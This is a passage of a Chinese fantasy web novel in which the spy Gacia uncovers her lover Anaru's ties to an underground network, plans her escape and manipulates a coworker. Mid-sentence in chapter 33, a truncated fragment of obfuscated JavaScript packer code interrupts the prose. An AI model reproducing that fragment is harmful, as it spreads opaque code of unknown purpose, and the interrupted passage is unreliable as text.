“我不服气,说,她们什么也不会,什么都没我强,有什么可尊重的?说实话,这想法是父亲教的。然后……又被打了一顿……很好笑吗?”他有点无奈地看着她。 加茜娅捂住嘴:“你继续!” “母亲很生气,说,如果我以后不尊重女人,就不会得到所爱,就像她和父亲一样。”阿纳鲁说到这里,沉默一会儿,“后来母亲走了。我知道,其实自己才是对的,有些人的确不值得尊重。当然,他们也不在意我的想法。 “只有掌权者,才能保护身边的人。可惜家里的那么多政治资源,早就倾斜培养维多尔和莫伯斯,我只能另谋他路。” 加茜娅顿悟:“原来你是为这个去的军部。” 他闭眼埋在她颈窝里,点点头,又问她:“我的故事说完了。你的故事呢?” 加茜娅一僵,很快放松下来,张口就开始瞎编。 “别编了,你这样子骗不了我。”阿纳鲁打断她,随即又立刻安抚,“别紧张,加茜娅,你和他们不一样。我愿意等着,等你想开口的那天。” 他这时终于露出些自傲的神色:“你是什么背景都无所谓,也不用害怕。我可以庇护你,只要你肯安心留在我身边。” 加茜娅趴在他身上,面对面地和他贴着。她的眼睛很动人,睫毛弯弯,笑着凝望他的时候,简直要勾魂摄魄般,钻进他的头脑和心脏,然后便天翻地覆,山崩堤溃。 自己或许就是因为这样投降,才说的那些话。他想。阿纳鲁,你真是堕落了!堕落也没什么不好。 加茜娅也觉得自己有瞬间的迷惘:“说真的,我要是早点认识你就好了。” “多早算好?” “大概……五岁的时候?” “五岁?那时候我只会欺负你。” 她一笑,摇摇头:“还是不要了吧。” “现在也不晚。”他笑意加深。 “嗯,不晚。”她说完,敛下睫毛,亲了他一口。 . 那晚之后,他们就正式一起住了。但加茜娅保留了自己原来的房间,每天固定时间躲进去“读书”,实则继续监听着黑蔷薇工厂的消息。她很希望能继续听到点什么,可是又渐渐有种不想再知道的念头。她下意识想忘记那晚的鲜血。 耽于安逸——加茜娅明白这种想法的危险性。她继续保持着看新闻、剪报纸的习惯。隔日就看到黑蔷薇工厂的爆炸新闻,上了中州日报的头版头条。 果然,死了一个托马斯,还会安排新的人继续掩盖事实。该杀的人,简直杀不完…… 加茜娅的心冷了下去。 阿纳鲁这时候走过来,看到她在剪报纸,收藏到几个小铁盒里,就坐下来帮着她一块儿选,一块儿聊。 “我终于知道,你为什么对政坛的事都很了解了。原来不光有资源署的耳目消息,还每天批阅这么多文件。”他现在很会开玩笑。 “你别这样折了裁,我讨厌毛边!”加茜娅有点烦躁,把剪刀递给他。 “好好好。”阿纳鲁拿起剪刀,仿佛变成一个脾气顶好的先生,家里太太打个响指,他就能立刻掏出地图说“请指示”,要往哪个方向走,绝不偏离一度角。 晚上睡觉,加茜娅把枪放枕头底下,被他警觉摸到、吓了一跳。结果还是依了她的要求,自己也逐渐习惯这种危险刺激的睡法。 早上醒来,他就看一会儿加茜娅的脸。床边的白纱窗帘,被风吹得轻轻鼓起,弧度圆柔,和他的心一样丰润喜悦。 阿纳鲁还给她安置了新的试衣间,又添了许多昂贵的首饰衣服。其中就包括,他们第一次见面时,加茜娅被车子蹭坏的那款裙子。 “你竟然记得?而且还有办法弄到同款。” “钱到位,停产十年也能重做……我听他们说,早该这样替你安置。” “因为他们,不是因为我?” 他堵住她的嘴,用力地亲了半天才分开,然后就低头望着她笑:“明明是为了你才学的。以后有什么喜欢的,都告诉我。很多事我现在不了解,但时间还多,我们慢慢来。” 加茜娅换上那条珍珠白绸缎宽摆裙,在他面前转了几圈。裙花散开,轻盈得像是要乘风飘去。 他很高兴,始终含笑。 她摸摸裙子,脸上也笑着,心里却莫名地有点难过。 不是为自己,而是为了他的高兴。 33.Chapter 33. 富贵之择 自阿纳鲁接管边防物资通道后,别墅庄园就越来越热闹,各式豪华礼物如流水般输送进来。 全中州达官富商们,但凡想沾上一点战争生意的荣光,就得向这位手眼通天的驻防总司令大献殷勤! 仆人们日益忙碌且蜕变着,身上不断增添新的奢侈饰品。渐渐的,就连对待有身份的访客,他们也倨傲轻藐,竟自发沿用起旧时皇室的礼仪规矩: 等待主人“接见”时,有专人手捧乌尔顿火山所产黑曜漏沙钟,昂首挺胸、面带微笑地观看焦急的客人;递上的茶盏也一定是北怀卡特州悬浮群岛出品的琉璃瓷,稍有身份不足之嫌,就换成产自阿尔法海湾的珊瑚杯。 管家门卫皆板起脸、下扯着嘴角,以细致到毫厘的眼光挑剔访客的帽子、手杖甚至鞋底的花纹和泥土,就差寻个巫师占卜谁能带来好运,才有资格进门赐座了。访客若稍有怠慢、忘记贿赂,仆人便阴沉下脸,刁钻绕道或延迟通报。 饶是如此,也无人敢检举他们的怠慢,哪怕他们只是庄园主人这滔天权势边缘的,一丝小小涟漪。 加茜娅隔着玻璃窗看到了一切,并不断刷新她对“权力”的上限认知。 整个世界仿佛乖顺地匍匐在脚下。那些她曾以为高高在上的政客巨商,如今满面陪笑,简直低到了尘埃里去。 . 加茜娅原先的卧室改作了一间独立书房。她时不时地就闷在里面发呆、摆弄那台再也没收到过信号的电报机。 没意思,反正做什么都改变不了现实。过去的自己浸在满手鲜血里,像一条鱼在沸水里翻滚,痛且难离。复仇本是她的主线,不复仇就不知该干什么,就空空荡荡,除了熬日子等待离开,就无事可做了。 ……但是,真的必须离开吗?随着时间流逝,冷硬的理智隐隐动摇。 有没有可能,她会是所有危险悲剧的爱情故事中的例外?毕竟男主角看上去完美无缺,这么久了也挑不出毛病,对她的隐瞒更是无比包容。 在一次次午夜缠绵、晨间缱绻时,她也恍惚想过:如果放下过往、真诚坦白,依附于眼前这个人,是不是就能掩盖曾经的罪行、摆平一切危险?是不是从此就消除了污秽,进入干净的世界,安享富贵、高枕无忧? ……这床是这么的软,炉火是这样的温暖,爱人的眼眸深情无限。没有暴雨中的奔跑,没有枪林弹雨漫天血色,一切都是美好安恬的样貌。 阿纳鲁确实是很重视她的。 他沉默而尽力地表达爱意,源源不断地送她奢侈品礼物。他也观察她的喜好,发现她在家除了看书读报,便是随时随地补觉。 加茜娅已将这所别墅中的藏书翻完了大半,并提出希望去他书房看看——结果得到了移交给她的书柜,和新建在别墅旁的独立藏书阁。 他为她聘请了专门的藏书管理员:玛莉莎·灰檀,一位银灰毛发、戴黑框眼镜的矮人老太太,不苟言笑但严谨认真。她来自乌尔顿火山底矮人族系,世代记史刻碑,传说其祖母可以用凿子在蛋壳上雕完《奥瑞恩通史》。 作为整个联邦最顶级的古籍鉴赏家,她曾担任中州魔法学院的特邀教授,只是阿纳鲁开出的年薪让学院理事们无力还价。 玛丽莎入驻庄园藏书阁后,但凡加茜娅有什么想法,只需列个清单给她,她便亲自联系各州同行寻觅挑选,次日便由专列的蒸汽飞艇送达别墅。 那些上门巴结的权贵们打探到这一动向,竟连封存于阿尔法湾海底古神殿的《灵魂奥术》,以及传说中被伊瑟尔兽人部落守护千年的《裂隙史诗》等传世孤本,都纷纷卑躬屈膝地献上门来。 加茜娅的目光从窗户移回桌案,低下头,指尖抚过这些书籍古老的封皮,眼前浮现出大批仆人搬运书箱时,浩浩荡荡的壮观场景。 她隐约察觉,自己正陷入一场无法抽身的盛宴。她送走了原来的书籍,准备轻装逃离中州,却没想到,会被从未享受过的浮华蒙住视线、绊住脚步。 而每当沉迷放纵的念头浮现,她又会觉得羞耻和悲哀。 她知道这样的生活好,但偏偏……她的经历让她明白是为什么好。 . 加茜娅依旧坚持去资源署。她徘徊而挣扎,潜意识里不愿轻易地放弃退路。 二月初,临近各地区勘探队伍出发的日子,资源署内人心浮动,空气里都充满难以抑制的紧张和兴奋。 西高地矿山项目组。每个人的办公桌上都堆满了培训材料和临时通知,职员们在走廊间来回飞快穿梭,递交临行前最后的核准文件。 办公室门被推开又合上,脚步声、交谈声、笑声与叹息声,搅成一锅沸腾的热汤。 许久未见的米拉,就在这个时候找上了加茜娅。 有传言说她准备辞职、回家联姻,所以正在办手续,连工位上的文件材料都空了。众人说起此事,都笑叹感慨,同时羡慕她嫁入蒙格马利家的好运气。 事实上,米拉也确实掩不住心事,满脸都写着兴奋,像只翩飞的小蝴蝶那样各处传播喜讯。 这联姻的消息,估计正是她自己散播开的。 “加茜娅!你想不到莫伯斯是多么负责的好男人!”米拉一进门就扑上来,挽住加茜娅的手,“没准是你那里帮忙起了效果,他说他的麻烦差不多解除了,下个月就能正式和我订婚啦!”她脸颊泛红,眼睛里满是跃动的光彩。 “那他真是有良心啊。”加茜娅微笑着恭贺她,看她像反复鼓吹的气球似的,前不久才瘪下去,如今又重新饱满起来,边边角角都充入了甜美的气体。 可见,这位贵族小姐近来过得还算不错。尽管莫伯斯人品奇葩,但毕竟出身顶级的豪门望族。想来他见各路不通,只得低头求助于布莱克家……如此也好,至少在生活上不会让米拉受委屈。 室内人多嘴杂,米拉牵着加茜娅往走廊角落去: “你知道吗?莫伯斯亲口说要在中州郊外给我新建一座度假庄园,比蒙格马利家各处庄园都大,都要豪华!别说什么观星阁、藏书阁……” 她音量拔高又落下,飞快地瞟加茜娅一眼:“连魔兽角斗场都有!你敢信?连刷墙的粉都会是白金海岸的珍珠磨成的!你一定要记得来看,到时候我天天带你玩!” 加茜娅心中五味杂陈,一时不知什么该说、什么不该说,甚至觉得自己也没资格说什么,于是如往常那样附和点头。 米拉叽叽喳喳地讲了一大堆,时不时小步跳跃几下,吓得加茜娅赶紧扶住她。 “对了,你那边怎么样?我听说你提前住进了阿纳鲁的私人庄园……这可不行,你要强硬起来,要像我一样,有入驻蒙格马利家老庄园的野心!”米拉握紧拳头挥动几下,比加茜娅还要着急。 “恐怕不容易。”加茜娅支支吾吾。 “那怎么行!”米拉大惊失色,“我这几天一闭眼,就在幻想我们以后的生活!等我们成了妯娌,就可以每天一起喝下午茶,在花园里散步聊天,想要什么都有人送上门,只要举办宴会就是全场瞩目的焦点……你想象一下啊! “他们要争就让他们争,咱们两个在后面过好日子,互相扶持、立场一致,谁当继承人都不用怕!” 加茜娅听懂她找寻盟友的背后之意,垂下眼,点点头:“你说的我都知道,我会好好考虑的。到时候可得多靠你照拂了。” 米拉松了口气,随即咯咯笑着,拉住加茜娅两只手转了一圈:“哪里话?我们俩联合起来,一起欺负别人还差不多!” 她在走廊角落欢笑雀跃,阳光洒在她灿金飞扬的卷发上。加茜娅分不清那闪耀究竟源自哪里。 . 傍晚,加茜娅躺在自己房间的床上,望着天花板发呆。她想,自己最近是太爱发呆了,这没有好处,但也没有坏处。她情愿就这样不好不坏着。 房门被轻轻敲响。 “加茜娅?” 阿纳鲁开门进来,手里拿着一叠图纸。他见她正呆呆地蜷在床上,睁圆眼睛,怎么看都觉得可怜,不禁整个语气都软下来:“管家说你要一个人看书,我去了藏书阁和花园,都没找到你。怎么自己在这里窝着?” 加茜娅慢慢地坐起身,伸出胳膊搂住他脖子,亲了亲他的下巴:“只是有点无聊……你呢?拿的是什么?” 他带她坐到桌案前,铺开图纸:“我抽空设计了一些魔导机械家具,之后好布置家里。正好你闲着,就想听听你的意见。” 阿纳鲁没好意思说,有些是自己开会时走神想出来的。 加茜娅一样样看去:自净化的魔导浴池,内部装置可以随天气调节水温,通过水系与光系魔法石来维持水质纯净,具备安神镇定效果;光照书架,根据主人指示而灵活变动光线,甚至还兼备识别查找指定书目的魔导机械臂…… 小到文具摆件,大到地毯楼梯,数十种设计方案复杂而精致,图纸线条工整流畅、配有密密麻麻的算式和说明,想必花了不少功夫。 加茜娅笑话他:“你怎么也玩起‘华而不实’的东西了?你之前还说这类产品不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没关系,”他笑笑,“钱不是问题,自己家用得舒服最要紧。” 加茜娅心头颤动,不再调侃,一样样地陪他把图纸看完。 “我去藏书阁,再找几本相关的设计书看看。”他临走前说,“你有什么需要的,我帮你带回来。” 她摇头:“我累了,准备去洗澡。” 他摸摸她的脸颊:“我让他们准备热杏仁蜂蜜牛奶,可以放松安神,等会儿放到床头柜上,记得喝。” “好。”加茜娅给他一个长久的“临别吻”,哪怕他们过一会儿又要见面。 阿纳鲁起身,路过墙壁上的机械挂钟时,停留了一会儿,转头看着它。 “怎么了?”加茜娅想起藏在里面的电报机,心中忽地警铃大作。 他收回目光,冲她一笑:“没什么。只是觉得这钟太过老式,也该换新了。” “……那我等你把图纸设计好。”她僵住身体,勉强勾起嘴角。 他点点头,不再说什么,离开了房间。 等待片刻后,确定房外无人逗留,加茜娅立刻上去把门锁了,拉上所有窗帘,又转动墙边壁灯的开关,房间光线顿时变得柔和且昏暗,便于隐匿她接下来的动作。 加茜娅将那台机械挂钟拆卸下来,细细检查内部装置。 她用镊子一点点拨开齿轮间隙,很快发现:原本咬合精准的调谐环,被人微妙地移动位置,导致频率偏移,无法对准主信号频段。外行绝不会注意到,但她一眼就看出,这是刻意调低频率、模拟“自然老化”的高级干扰手法! 加茜娅的背上沁出冷汗。若非她敏感检查,这个干扰可能永远无法被发现。 怪不得,最近什么消息都收不到! 他已经发现她的小动作了。可他什么也不挑明,只等她自愿跳入温柔的网中。甚至还能神色照旧地与她恩爱……恩威并施,不愧是他的手法,只是这次更加隐蔽。 加茜娅强迫自己什么也别想,颤抖着手,先专心修复电报机。伴随一阵极轻微的“嗒嗒”声,齿轮重新运转,蓄藏已久的纸带被缓缓推出。 她将这些纸带取出,平整铺开,上面记录着这段时间她错过的所有情报。 有兽人雇佣兵发回的几次通讯,关于资金转移问题、仓储最新状况的汇报,还有黑蔷薇化工厂早已发出的几次加密消息。她还以为,他们的一切都中止在那场爆炸中了。 加茜娅伏在地上快速翻译,额头上不断滚落汗珠。 在所有纷繁杂乱的谜语和黑话之中,她看见了一个意想不到、不愿确认的人—— 阿纳鲁·蒙格马利。 “【GH-113 → BR中继】 星月之宴确认举办,日期如期。灰鹫确认落位。名录更新,新增编号M-03,身份确认联邦军部现任驻防总司令,由铁手带入,等待席位分配。 白桔梗已凋谢,黑蔷薇仍余香。” 34.Chapter 34. 故技重施 加茜娅知道这些暗语的含义。她曾将多封秘密电报整合比对,译出了常用名词: “星月之宴”,是定向邀请的灰色私宴,常有地下交易在此进行。通常为夜晚,时间地点每次都会变化,并不使用电报通知。“灰鹫”,出面接洽的线人。“铁手”是说客、介绍人。 至于最后的白桔梗和黑蔷薇之语,加茜娅第一次见。她猜测,同最近黑蔷薇化工厂事变有关,也许是指某条明线遭了暴露,而实际势力并未受损,或是诸如此类的安抚话术。 加茜娅如今看得很清楚,在联邦根系庞杂的黑手体系中,她那复仇计划成效甚微。只是没想到,阿纳鲁竟然也淌了浑水…… 她压下心中波澜,告诉自己冷静下来,继续分析其它电报。兽人雇佣兵的消息也是重中之重: “铁牙回报: 任务已走半程,我接了新单,必须分兵支援。但我留了五个兄弟在边境旅馆那儿等你吩咐,个顶个的硬骨头,绝不掉链子! 中转仓库已填满:子弹、止血针、压缩粮……全是能撑命的东西。火种和备用魔核也塞了几块进去,有过路的客人高价求卖,兄弟们没吱声。 但钱这事不好弄。你那几个账户卡得太死,有的银行要亲签,有的权限不够,我们兄弟脸再厚也刷不进去。想转全款,要你出面,或找能捅破天的授权。 你说个法子,我让人盯紧办。 ——卡鲁克·铁牙” 加茜娅早就料到资金转移会有困难,但她一时半会儿也想不出怎么操作。 此前,她用阿纳鲁提供的启动资金和牌照设立了一家“矿产投资孵化公司”,作为资金洗白和转移的皮包壳子。然而实际操作比想象中艰难,资金大多卡在系统里,连其十分之一都难提现。 犹豫片刻,她只能先简单回了电报,请他们耐心等待,自己届时随身提取携带一部分。想来边境战事兴起,各路机构此时都盯紧了资金动向,须得等待机会慢慢周转。 事到如今,离开是确定的了。此地若再停留,只会越陷越深,越难脱离。 其实最好的逃跑时机就该是现在,直接从中州走。但加茜娅是政府职员,不像游商般资质灵活,平时没有各州之间的通行权限,走暗路偷渡又过于危险。只能先跟随资源署项目组离开,然后再择机而行。 加茜娅理完电报,转身打开自己的梳妆盒和储物柜,准备收拾随行物资。 ……她惊恐地察觉到,柜门上,有一根提前压好的头发不见踪影! 所幸,堆叠掩饰的杂物间隙里,其他几根发丝并未挪动。可能是“小机关”被发现了。她动作停滞一瞬,很快重新冷静下来,不去想这些东西被人检视的场景。过去的事已经无可挽回,重要的是下一步怎样应对。 加茜娅先是翻出月光石戒指,转动打量。 按拉斐尔所言,它的储物空间有“梳妆台面那么大”,但实际上并未说清体积……也可能是他根本就没有衡量尺寸的概念。 若将其转换成联邦制单位,保守估计,大约是5“格”,也就是能容纳20本普通厚度的书。接着,她又清点了一下其它装备: 剩余的三分之二瓶“临时变性药水”,大约能保持半小时伪装效果。也许会让她在特殊时刻躲过敌人追踪。 一块暖石,拉斐尔送的。其实是刻了元素抑制符阵的低阶火焰魔法石,持续散发足以暖手的热量,不知还能维持多久。 一把双弹道手枪,“银小姐”,可以使用物理子弹,或者直接催动风元素魔导核心发射魔法攻击,限定5次,能突破魔法屏障、秒杀小型魔兽。作为高级定制款军械,价值百万晶币,但除非穷途末路,否则她不打算出售。 一盒定制款的小口径魔导子弹,可填装物理弹道,是“银小姐”的赠品,价值未知。发射并撞击物体数秒后,启动魔法阵符文,发起小型爆炸。除去手枪弹匣内剩余的3发子弹,一共还有12发。 一叠文件,包含不同身份的名片、持枪许可证、中州居留证、皮包公司运营牌照、银行账户本等各项证明材料。 最后,还有一枚蒙格马利家族的族徽,自她顺手拿走后,阿纳鲁虽心知肚明,却从未过问,显然是默认为获取数据情报的代价之一,而且他自己并不缺这玩意。亦或者,他暗示了加茜娅是“自己人”的身份认可。 虽说此物偶尔使用可有奇效,但考虑到出逃后,她会被冠以“某人失踪的情妇”之名,随意出示极可能暴露身份,还是小心为好。 以上所有物品加起来,算上保存手枪的锁扣防震盒,若收纳妥当,应正好占去月光石戒指一半空间。可惜的是,这枚空间戒指总共只能启用三次,她必须好好规划如何使用。 首次启动必须是在出发前的最后时刻。加茜娅在脑海里列了张清单:还需要补充部分物资,争取一次性完成打包,填满空间。 新物资分为合规与不合规两档,合规者如地图、指南针、压缩食品罐头等,可以通过安检带上交通工具,且资源署内部也会提供,此刻无需特别考虑;不合规者,如子弹、管制药品等,得另想办法获取。 然而现在的她受制颇多,在外出行往往由詹姆斯护送,在别墅内又有阿纳鲁和众多仆人眼线看管,就连自己上锁的房间和柜子也不安全…… 加茜娅瘫坐在地毯上,靠着桌角思考良久。 窗外黑了下来。现在是去洗澡的时间,不能耽误太久,否则会惹人疑心。 这么想着,她强行爬起,将杂物归回原位,又将电报监听装置重新塞回机械挂钟腔内。犹豫了下,把调谐环重新拨开,装作自己没有发现的样子。 这样很难及时查收电报,但她明白,剩余的时间也的确不够做什么了。那条“星月之宴”的情报,无法确认具体时间地点,唯一的功劳,是让她知晓枕边人底细,彻底死了心中莫名而微妙的留恋。 这么一想,她又有点难过,眼眶难以言喻地酸胀着。 即使再杀几个人,还会有新的走狗轮替上去;无论挑拨多少关系,他们依旧能为了利益重归于好。旧棋局遵照旧规则,除非翻盘,否则无济于事。 翻盘……她必须承认,那对于现在的她来讲,是何等不自量力的笑话。 转念又想:若另辟蹊径,或可重开一局,寻新的解法? ——解法是什么,不知道,连有没有都不知道。 唯一确定的是,她得离开这儿,离开柔软的床、温暖的炉火和“深情”的爱人。从此前路茫茫,死生自负,无人可以预测,之后会发生什么。 先活着逃出去再说吧。她闭眼握拳,给自己鼓气。 . 距离西高地矿山项目组出发还剩六天,其中有两天公共假期。 拉斐尔至今再无消息,仿若笼雀归林一去不返;只是新闻上常报道暗精灵内部派系斗争的惨烈伤亡,连一些地面建筑都受到波及。新的驱逐口号与各族游行示威重现中州街头。 詹姆斯开车经过时,不得不狂按喇叭,唉声叹气,后悔刚才没有绕道。 他回过头,歉意地看向加茜娅:“今天可能要迟到了。我应该和长官申请一下,派军队提前清路的。” “那也不必。我一个人去工作,还要动用那么多人加班干活?”加茜娅坐在后座上补妆,闻言抬头冲他一笑,“有你一个就够了。” “……”詹姆斯立刻重新坐正,挺直了腰。过一会儿,又小声嘀咕:“照我说,您还上什么班呢?在家安心享福就好了,没必要这么辛苦的。” 他抿紧嘴,紧张严肃地环顾周围环境,偶尔从后视镜里瞄一眼加茜娅,又很快移开目光。 加茜娅没放过他,继续调侃:“那我就没法每天看见你啦。” “这话可不要……” 詹姆斯一时呆住,愣愣地看着眼前—— 他眼睁睁看到,有个老头走过来把自己往车头一撞,躺倒在地,哎哟连天! 光明神在上,他刚才可没有发动汽车啊? “哐!” 詹姆斯还没反应过来,加茜娅就已经下了车,甩上车门! 他傻眼了。 紧接着,噩梦般无比熟悉的一幕重新出现:加茜娅抡起……不是公文包, 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这必然是他心理素质还不够强大,下回应该同长官申请,多做些锻炼心志的任务! . 加茜娅到资源署时,已临近中午,各部门乱糟糟一片,忙着处理临行材料、交接手续,或是呼朋唤友去喝茶,举办些践行的活动。无人在意她迟到,唯有平时交好的黛尔等同事关心了几句,就转身各忙各的。 她远远地路过接待大厅,看到里面来了不少拄手杖、戴红色短斗篷的客人。 那是探险家协会的会员标志。 此协会可视作贵族极限运动爱好俱乐部。常年跟随资源勘探队进行探险,做其身后的第二据点,彼此照应。一方面,这是上流社会有钱人流行的身份标志之一;另一方面,也可获得最新资源情报,抢先投资各类开矿项目。 加茜娅看到了许多熟面孔,似乎正与这群贵客交换名片。那位生态监测中心技术员,矮小的半精灵乔纳森·格拉姆也在其中。 她于是止步廊外,悄悄观测,看他在获得她的“泄密”后状态如何。 乔纳森短粗的手指在空中比比划划,像在描摹一张地图,并且十分小心地用了许多模糊词汇: “……当然这还需进一步分析,只是八号峡谷那边的风系扰动频率和旧年报告比起来……可能会对机械设备产生轻微干扰。不过应该还在合理范围……” 与乔纳森说话的,是个倒三角坚果头型的人类绅士。他面颊瘦长,有个异常高挺的鹰钩鼻,并且侧面看去,额头与鼻梁线条几乎直直地相连,不走任何弯路。薄而小巧的嘴唇上缀着一横胡须,随他说话而上下翻飞。 他们两个聊天都很厉害,加茜娅几乎看得清空中落来落去的唾沫星子。 坚果头先生嗤笑着:“嗯哼,我明白你们这些搞数据的谨慎,不过风嘛,总是要吹的,越是起风的地方,埋的宝就越深,越稀罕……况且我们的人有最新防护装备,几十道抗魔涂层,除非你说的是元素风暴,不然嘛……” 乔纳森满头大汗,闭了闭眼,叹一口气,只得随他继续去扯别的话题。 加茜娅收集完自己想要的反应,垂下眼微笑起来,蹑手蹑脚地退开了。 她抱着上次借来的西高地矿脉地动资料,走入升降梯,准备按时还回三楼档案室。 米拉辞职的消息出现在升降梯的滚动公告栏上。 这回,梯内只有加茜娅一个人在看。 她有些落寞地独行至档案区。临近中午,阳光驱散了雾霭,透过走廊窗户暖烘烘照在身上,将她的影子捏得短短的,像个不讨喜的胖小孩。 加茜娅止住脚步。她看到外勤资料库门口有个熟悉的身影,刚刚开门进去。 ——是那个有点意思的家伙,卢克西斯。 要不要故技重施,像利用乔纳森一样,也利用一下他呢?毕竟,多个人分担秘密,就多个人分担嫌疑,有利无弊。 这么想完,她又忽然汗毛倒竖,发觉另一件事: 他不是资源署文员,也不负责这块工作……怎么会有档案库的钥匙? 35.Chapter 35. 吻痕 资源署三楼档案区,外勤档案室门口。 加茜娅抱紧资料,想了一下,决定装作什么也没看见。 退一万步讲,即便卢克西斯真的是数据泄露案调查员,短期内也无法证明她的嫌疑。不过,修习魔法的人灵敏度极高,可能早已感知到附近有人,她现在离开,反倒奇怪。 加茜娅于是定了定神,大大方方地走进去。 和刚才路过的“门面”接待厅比起来,这仅对内部开放的档案室就显得过于老旧了,迎面便能嗅到灰尘霉味。也不知经费都去了哪儿,连最近很流行的机械清理科技都用不起,人工更是懒得请。 灯没亮,但窗帘拉开了许多。室内空间很宽敞,数百座高大书架整齐罗列,周边零散码放着备用梯子。联邦资源署几十年来的勘探档案,都保存于此。 加茜娅先是走到访客登记台那儿,很守规矩地做好记录,同时暗暗地打量了一圈——没看到人影。她本能地有些不安,径直往西高地档案分区走去。 海洋、沙漠、森林、雪原、山地……到了。加茜娅对着编号摸至书架前,看到之前做了手脚的地方,《WH-834矮人工程日志》仍躺倒在原处。 四周很安静,仿佛只有自己一个人。颈后皮肤阵阵发凉。正当她将手里的地动档案塞进夹缝时,背后忽然响起个冷淡的声音: “哟,好巧。” ——怎么脚步动静都没有? 加茜娅适时地装作被吓到,捂住胸口转过身,轻轻地“啊”了一声。就这么个动作,扯着衣领歪了一下,被她下意识重新拉好。 那名金绿眼眸的异域少年,不知何时出现在身旁,面无表情,正垂眼俯视她。看起来不像之前友好的样子。加茜娅心中一沉: 她突然想起来,这家伙一直在有意无意地回避她。最近模拟天灾逃生集训时,就算同组演练也不愿对视。 来不及多想,加茜娅微笑着接话:“是啊!好巧。我来还一下之前借的资料。你要找什么东西?我可以帮忙。” “不用,我找到了。”他直接伸手越过她,去拿书架上那本《WH-834矮人工程日志》。 “这是什么?干嘛用的?”加茜娅假作好奇之态,拦住他的手腕——只是用指腹轻轻搭了下,一触即离。 卢克西斯僵住不动:“……这个,弗雷德说需要回收,之前不知怎么遗漏了。正好我没事,就过来找。” 弗雷德是这次西高地项目行动的组长,一位半兽人高层领导。加茜娅对此说辞半信半疑,因为她知道那位组长很少管这么细……难道他才是调查员? “真稀奇,他居然有闲工夫收拾资料吗?”她忍不住追问。 “好奇这个做什么?和你没有关系。” 加茜娅能感觉到,卢克西斯的动作再度停顿,有些奇怪地看了她一眼。他的目光落到她脸上,瞬间移走,正好瞥到衣服领口。 一下子,他脸色变得极差,点了点头,转身就走。 加茜娅不禁又摸了摸衣领,目光撇过金属书架的倒影。奇怪,她应该是遮好的啊?今天特地穿了有领子的外套,哪怕室内温暖也没脱下。 …… 但领口是没有扣紧的!也就是说,如果离得极近,从上往下的角度,依然能看到她脖颈上,前一晚遗留的暧昧红痕。 她莫名有些脸烫。被陌生人或亲近的人看到都没什么,偏偏是正经认识的工作关系,偏偏又是她打算暗中拉拢的新目标。 这下难度直接上了几个档次。没法再假扮清纯无辜的角色了。况且,她与蒙格马利家少将的情事、夸张的受宠方式,恐怕早就传遍了大街小巷。 加茜娅脑子里一时闪现无数个备选方案。她当机立断,追上前抓住卢克西斯的手:“等一下!” 这个说不清楚的测试动作,他要是没甩开,就意味着还有点戏,至少对她没有反感和厌恶。 可他甩开了。并且,转过身,几乎是有些生气地盯着她,一对异瞳明晃晃发亮:“你什么意思?” “我……”她顿了顿,轻声说,“如果冒犯到你,对不起,我只是,不太习惯你用这种眼神看我。” 卢克西斯转开视线,不看她。 她低头轻笑了一下,语气反倒放松了:“也对,我们只是同事嘛。” “……” “我知道我名声不好,最近又……更不好了。你信不信都没关系,反正我也不是第一次遇到误会了。 “但我就是想解释……我也不知道为什么,可能因为这个人是你。”她抬头,憋红了眼角鼻尖,也憋出了点泪光,一连串地吐露心声,“我一点也不喜欢现在的生活。所有人都觉得我得了好处,但他们不知道,有些事是根本不能拒绝的。” 她声音颤抖着,紧盯着他的侧脸,看到他嘴唇也颤抖了一下。 然后她转过身:“你就当我什么也没说好了,可能我本来就不该说的。你走吧,走远点,以后也别和我这种人接触了。” 某个瞬间,加茜娅感到自己是真的有如此委屈,所以这回的眼泪来得格外快,在背过身的时候正好滑落。 她有点懊恼……怎么还装成真的了,简直要把自己也骗过去了。 卢克西斯似有触动,低声道:“对不起。我不知道怎么用你们的方式道歉,但之后有困难的话,可以找我。” 搞定。加茜娅这么想着,嘴角要翘不翘,最终还是在回过身的时候奋力勾起,含泪带笑地看向他:“谢谢你。” 这次,他尽管目光闪烁,却没有再避开。看着她的眼泪,仿若无措。 加茜娅料想他也没有手帕,遂拿出自己那方,折起一丁点帕角,“坚强又美丽”地按一按脸颊。 “对不起。”他一时间不敢动。 “哦,你不是还要回去完成任务吗?”加茜娅见状,贴心地打圆场,“我想在这里缓缓,也顺便一个人静静。” 卢克西斯点了下头,看她转身往里面书架走,自己也轻悄悄地离开。 . 加茜娅在档案室内转悠了两圈,顺手翻看了几份其它矿区的剖面图和对应的矿产清单。随后,漫无目的地发了会儿呆,便准备离开。 可刚走回前厅,她的目光却忽然顿住。 门口访客登记台上,出现了一个陌生的小盒子,还有玻璃瓶装的蜂蜜果汁。 盒子包装纸上系着商店的品牌丝带,里边是一叠带花香的湿手帕纸。应该都是刚从外边买回来的。 …… 没有脚步声也就算了,这么点时间,难道他也会空间魔法? 加茜娅暗自惊疑,打定主意: 以后一定不能得罪这家伙! . 今天下班后,加茜娅给自己设置的任务目标是:收集药品。 空间戒指还剩两格半容量,原本计划是放一些子弹、药物、现金。子弹对现在的她来说很难再获取,只能等出发后,从随行的武装自卫队那儿窃取。现金也有难度,她怀疑连自己的银行账户都被阿纳鲁监视了起来。 要不是为了边境通行材料,她也不会走到今天这个地步,陷入他的全面管控之中。然而直到今天,也还没有机会下手。 一切计划都不能再拖了。 加茜娅当机立断,先去打发走某个麻烦的家伙。 她跟随人流来到资源署门口,远远的便看见詹姆斯正提了一把长柄伞,拄着车门,望天发呆。今日午后有过小雨,刚停一会儿,天还阴沉着。 她走过去说:“我要和几个女同事去逛街,买点出外勤要用的东西。” 詹姆斯果然皱眉:“我跟你们一起吧?” “不用。”加茜娅笑着摇头,“你一直跟着我,会叫我被人笑话的。没准她们还要说我在玩包养游戏?你不知道她们的嘴……” 詹姆斯脸瞬间红了:“这……长官让我寸步不离,我也没办法!” 她低头掸了掸衣摆,像是无所谓的样子:“我们要去的是女士专区,进去一排排都是贴身衣物和……你要真想陪,可得做好心理准备。” “要买什么,可以让仆人代替跑腿,何必自己辛苦一趟?长官知道了肯定会生气,上次放任您加班喝酒,冒着暴雨一个人坐车回去,他就已经罚过我了!” 他仍挣扎着,不松口。 加茜娅眼神冷下来,胸口阵阵窒息。果然和她预想的一样,自己被全面限制了。她只能提前拿出早上临场发挥的“人情债”,同时尽量态度软和。 